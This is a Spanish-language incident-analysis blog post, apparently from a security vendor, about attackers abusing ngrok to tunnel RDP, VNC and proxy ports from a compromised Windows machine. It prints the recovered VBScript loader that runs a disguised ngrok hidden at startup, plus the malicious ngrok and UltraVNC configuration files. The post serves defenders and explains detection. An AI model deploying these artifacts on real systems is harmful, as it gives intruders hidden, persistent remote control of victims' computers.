¿Conoces la expresión “la luz al final del túnel”?
Por lo general, tiene una connotación positiva. Después de un trabajo duro o de perseverar ante algo difícil o desagradable, puedes ver "la luz al final del túnel” y alegrarte de que el trabajo casi está terminado.
Hoy contamos una historia distinta: una donde las amenazas de acceso remoto acechan al final del túnel, con hackers turbios que obtienen control no autorizado sobre las redes de las víctimas.
Y cuando decimos túnel, nos referimos a la tunelización de red informática, como un proxy, con paquetes que se enrutan o se envían a otro lugar. En algunos escenarios, este tipo de “tunelización” de red tiene, de hecho, un propósito bueno y funcional. Pero cuando lo vemos mientras buscamos malware, suele ser usado por actores maliciosos para exfiltrar datos o controlar el tráfico de red.
En este caso, vimos artefactos que indican que un hacker usó ngrok para tunelizar tráfico desde puertos RDP y VPN hacia la Internet abierta.
Espera, ¿qué es un “Ngrok”?
Ngrok es una aplicación multiplataforma que expone puertos de servidor local a Internet. Su sitio web afirma: “[para que puedas] dedicar más tiempo a programar: un comando para obtener una URL instantánea y segura hacia tu servidor localhost a través de cualquier NAT o firewall.”
Honestamente, suena bastante bien, ¿no? Supongamos que estabas desarrollando un par de páginas web y querías mostrárselas a un amigo, pero no tenías toda la infraestructura ya configurada; bueno, ¿sabes qué? Déjame mostrarte.
Ngrok en acción
Aquí hay una página HTML de demostración básica que se está sirviendo en una máquina de desarrollo local.
Bastante aburrido. Obviamente esto es solo para fines demostrativos, pero si yo ejecutara ngrok…
ngrok http 80
Puedes ver que tengo un puerto reenviado y un túnel configurado desde el puerto 80 (HTTP) en mi localhost, ahora disponible públicamente en http[:]//d7d61b3bf14c.ngrok.io!
Ahora cualquier persona en Internet (¡incluidos esos amigos programadores que mencioné!) puede acceder a este sitio.
Si revisamos de nuevo la salida de ngrok:
¡Muy interesante! Podemos ver las solicitudes que llegaron y la cantidad de conexiones. Ahora puedo detener ngrok, y eso eliminará el túnel; ese endpoint público ya no llega a mi máquina local. Túneles rápidos y temporales, cuando los necesitas.
Esta fue una demostración súper simple de ngrok. Y no se trata solo de levantar un servidor HTTP: puedes hacer que cualquier puerto sea accesible públicamente. Aunque usé la sintaxis ngrok http 80 en ese ejemplo, podrías usar ngrok tcp 445 o definir puertos para usar en un archivo de configuración.
Ese es el uso previsto y benigno de ngrok, para su propósito funcional real. Pero creo que puedes imaginar cómo esto puede usarse con fines más nefastos. 😉
Cómo los hackers explotan ngrok
Entonces, ¿dónde están los malos? Observa este punto de apoyo persistente que encontramos en la computadora de una víctima.
Dim objShellSet objShell = WScript.CreateObject("WScript.Shell")command = "powershell -windowstyle hidden C:\ProgramData\WindNT\conhost.exe start --config=C:\ProgramData\WindNT\ngrok.yml --all --region=eu"objShell.Run command,0Set objShell = Nothing
Esto es un Visual Basic Script, código que se ejecuta de forma nativa en un sistema operativo Windows. VBScript y otros, como JScript, HTA, PowerShell o scripts por lotes, son objetivos comunes para los actores maliciosos porque se ejecutan de forma inherente en Windows.
Si no estás familiarizado con VBScript, una buena señal reveladora es el uso de Dim para declarar variables locales. Vemos que se declara una variable objShell y luego se le asigna (Set) un objeto WScript.Shell. El objeto WScript.Shell se puede usar para ejecutar comandos o iniciar procesos, otra característica atractiva para los hackers.
En este caso, configura un comando para ejecutar PowerShell, con una ventana oculta (¡qué siniestro!) que inicia un proceso conhost.exe con argumentos que, al parecer, definen una “config” y una “region.”
El script ejecutará el comando y luego limpiará el objeto objShell asignándole el valor Nothing.
¿Qué es Conhost.exe?
Conhost.exe es por lo general un proceso generado por shells de comandos como PowerShell o cmd.exe, así que si un analista simplemente observara un árbol de procesos sin ver los argumentos de la línea de comandos, tal vez esto parecería inocente.
Sin embargo, los argumentos de la línea de comandos indican que no se trata del conhost.exe conocido.
Esto es ngrok, disfrazándose y ocultándose como conhost.exe: simplemente un archivo renombrado.
Esos argumentos de línea de comandos que especifican un archivo de configuración y una región son lo que el programa ngrok normalmente esperaría. Con esos parámetros, puedes especificar un archivo de configuración concreto que esté en una ubicación distinta a la predeterminada, y la región donde el cliente de ngrok se conectará para alojar sus túneles.
Sin embargo, este comando no indica qué puertos va a exponer a Internet; ¿dónde se proporcionan esos? Bueno, ¡tendremos que profundizar en ese archivo de configuración que menciona!
Archivo de configuración malicioso de ngrok
tunnels: rdp: proto: tcp addr: 3389 wnc: proto: tcp addr: 6300 mobil: proto: tcp addr: 3128
(El archivo de configuración también incluye el authtoken para conectarse a esta cuenta de ngrok, pero como un extraño gesto de buen servicio hacia los hackers, no lo expondré aquí 😉)
Cuando se invoca ngrok con el comando `start`, este lee y opera según lo definido en el archivo de configuración, y el argumento --all significa que iniciará todos los túneles definidos.
Estos sujetos sospechosos están exponiendo públicamente RDP en el puerto 3389, un servidor VNC en el puerto 6300, y posiblemente un proxy Squid o HTTP en el puerto 3128.
No hace falta decir que el protocolo de escritorio remoto accesible desde Internet abierto es un vector de ataque por sí solo. Pero estos atacantes podrían estarlo usando para mantener el acceso remoto o para más actividades de post-explotación, ahora que ya comprometieron este objetivo.
Por si RDP no fuera suficiente, lo duplican con un túnel para acceder a VNC (Virtual Network Computer), que ofrece prácticamente la misma funcionalidad que RDP. Compartir el escritorio gráfico, para que los hackers puedan aprovechar esta amenaza de acceso remoto y controlar la computadora de manera remota desde cualquier parte del mundo.
El uso del proxy Squid o HTTP en el puerto 3128 es cuestionable. Tal vez esto se podría usar para más acceso a la red interna, y así realizar fácilmente movimiento lateral incluso cuando se conectan al objetivo de forma "externa". Aunque no haya servicios corriendo en estos puertos, ngrok los seguirá tunelizando igual para que todo el mundo los vea.
Crucemos los dedos por la pobre víctima aquí y supongamos que tal vez el servicio RDP estaba deshabilitado, quizás no había ningún servidor VNC instalado, o no había ningún proxy Squid o HTTP corriendo. ¿Podrían los hackers habilitar esto?
Si ya comprometieron la máquina y tenían suficiente acceso, claramente podrían.
VNC: el villano
De hecho, los hackers instalaron un servidor VNC. Este método de persistencia es un poco "pesado" en comparación con algunas de las técnicas simples que podrían haber usado, pero bueno, ¿una interfaz gráfica para seguir hackeando su objetivo? Seguro que no la van a rechazar.
Mientras encontramos ese código VBScript persistente, también encontramos un servidor VNC "winvnc.exe" (que también vive en la carpeta "Chrome" dentro del AppData de un usuario, lo cual da para una buena risa).
Este servidor VNC también está configurado en una "Run Key" del registro de Windows, para que se mantenga persistente y se ejecute cada vez que ese usuario inicie sesión. Estas claves de registro persistentes están apropiadamente (uso esa palabra en broma) nombradas "WindNT", para seguir jugando con el mismo tema del falso conhost.exe, "ConhostNT".
Ahora podrías estar diciendo, como el usuario de computadoras inteligente y educado que eres, "pero John, los servidores VNC suelen escuchar en el puerto 5900, ¿no? ¡Ngrok no expuso eso!"
Y tienes toda la razón.
Pero los hackers también juegan con el chiste de la "seguridad por oscuridad". Ya conoces el remate: cambiar los servicios a un puerto no estándar, o intentar engañar a la gente invirtiendo los puertos, como usar el 9983 para RDP (te estoy mirando a ti, empresa SMB XYZ).
Encontramos el archivo de configuración de VNC que estaba presente en el mismo directorio que el ejecutable winvnc.exe.
[Permissions][admin]FileTransferEnabled=1FTUserImpersonation=1BlankMonitorEnabled=0BlankInputsOnly=0DefaultScale=1UseDSMPlugin=0DSMPlugin=DSMPluginConfig=primary=1secondary=0SocketConnect=1HTTPConnect=0XDMCPConnect=0AutoPortSelect=0PortNumber=6300HTTPPortNumber=6301InputsEnabled=1LocalInputsDisabled=0IdleTimeout=0EnableJapInput=0QuerySetting=2QueryTimeout=10QueryAccept=0LockSetting=0RemoveWallpaper=0RemoveEffects=0RemoveFontSmoothing=0RemoveAero=0DebugMode=0Avilog=0path=C:\Users\admin\Desktop\RDDebugLevel=0AllowLoopback=1LoopbackOnly=0AllowShutdown=0AllowProperties=1AllowEditClients=1FileTransferTimeout=30KeepAliveInterval=5SocketKeepAliveTimeout=10000DisableTrayIcon=1MSLogonRequired=0NewMSLogon=0ConnectPriority=1[UltraVNC]passwd=1B2A1BCF17E01EEF33passwd2=494015F9A35E8B2245
Ese servidor VNC está funcionando en el puerto 6300, exactamente lo que ngrok expuso al mundo, evidente por esa clara línea PortNumber=6300.
Por la sintaxis del archivo de configuración, deducimos que no se trata de WinVNC (como se podría sospechar por el nombre del archivo), sino de UltraVNC. Esto ofrece más funciones y funcionalidad de transferencia de archivos, visible de nuevo en el archivo de configuración con las líneas FileTransferEnabled=1 y FTUserImpersonation=1, lo que incluso permite la transferencia por usuarios suplantados.
¿Qué significa esto?
Ngrok es una herramienta que cumple un propósito legítimo. Ofrece una solución sencilla para exponer rápidamente un servidor local a Internet, cuando quieres exponer algo a Internet.
Cuando no quieres, la historia es otra.
Como siempre, los hackers usan y abusan de la función genuina de una utilidad y la reutilizan para el mal. Aunque se sabe que los actores maliciosos han usado ngrok en el pasado, esperamos que este ejemplo de tunelización de red con ngrok lo muestre bajo una nueva luz.
Un RDP expuesto públicamente, o cualquier acceso abierto a control remoto de interfaz gráfica, podría ser devastador para una organización. En este caso, los hackers lo usan para persistencia, pero también pueden convertirlo en arma para continuar su campaña, exfiltrar datos, potencialmente realizar más movimiento lateral y más. Al fin y al cabo, es acceso remoto. Comando y control con una sesión de escritorio completa, en Internet abierto, listo para los hackers en cualquier parte del mundo.
Queremos compartir esto contigo para seguir educando y generando conciencia. Decimos palabras de moda y esos mantras tan repetidos como “defensa en profundidad”, “asume la brecha” o “no es si, sino cuándo”...
… pero lo decimos en serio. Una vez que un hacker ha comprometido un equipo, ha abierto la puerta a mucho más daño. Ya sea exfiltrando datos, moviéndose lateralmente por la red, o incluso instalando persistencia con un servidor RDP o VNC accesible en todo el mundo, quedan sin control. En ese punto, es difícil encontrar esa “luz al final del túnel (de ngrok)”.
Por eso en Huntress, cazamos. Es vital conocer este oficio y entender estas tácticas, para poder detectar y prevenir mejor incidentes como este... antes de que los hackers sean los que estén al otro lado del túnel.
Preguntas frecuentes
¿Qué es Ngrok y cómo funciona?
Ngrok es una herramienta de proxy inverso que crea un túnel desde un recurso público en internet hacia un servicio local en ejecución. La herramienta es especialmente valiosa para desarrolladores de software o programadores que necesitan exponer servidores locales rápidamente, a menudo para pruebas simples o para compartir aplicaciones sin implementarlas en un entorno de producción. Ngrok funciona conectándose al servicio en la nube de Ngrok y luego reenvía el tráfico desde una URL pública (por lo general el subdominio ngrok.io) hacia la máquina local.
¿Cómo se usa Ngrok?
Cuando se usa de forma legítima, ngrok se emplea con mayor frecuencia en escenarios como desarrollo web, pruebas de webhooks o creación de prototipos de soluciones de software.
¿Cómo pueden los hackers explotar Ngrok?
Los actores de amenazas pueden aprovechar Ngrok para phishing (usando Ngrok para enviar a los usuarios a un sitio malicioso bajo la apariencia de una URL legítima), comando y control, o exfiltración de datos al reenviar datos a través del túnel seguro.
¿Cuáles son las señales de que Ngrok ha sido hackeado?
Aunque los usuarios finales no suelen notar manipulaciones maliciosas en su propia herramienta de ngrok, su funcionalidad puede usarse en su contra: los administradores de sistemas o ingenieros de redes podrían observar una cantidad inusual de tráfico de red o conexiones a URL de Ngrok desconocidas, o el personal de respuesta a incidentes y los analistas del SOC podrían encontrar procesos de Ngrok no autorizados ejecutándose en los dispositivos. Las herramientas antivirus o de monitoreo de red deberían alertarte sobre el uso inesperado de Ngrok en un endpoint.
¿Cómo pueden las organizaciones protegerse de la explotación de Ngrok? (CTA-ish)
Las organizaciones pueden protegerse del posible uso indebido de Ngrok mediante el monitoreo y registro, la auditoría del tráfico saliente o la observación de los procesos que se ejecutan en los dispositivos. La inclusión en la lista de aceptados de aplicaciones puede ayudar a restringir el uso indebido de Ngrok u otras aplicaciones no deseadas y, como siempre, security awareness training puede ayudar a proteger a tus usuarios de las variantes de malware que incorporan Ngrok en su cadena de ataque. Huntress puede ayudar a proteger a tu organización de la explotación de ngrok. Obtén una demo gratis para ver a Huntress en acción.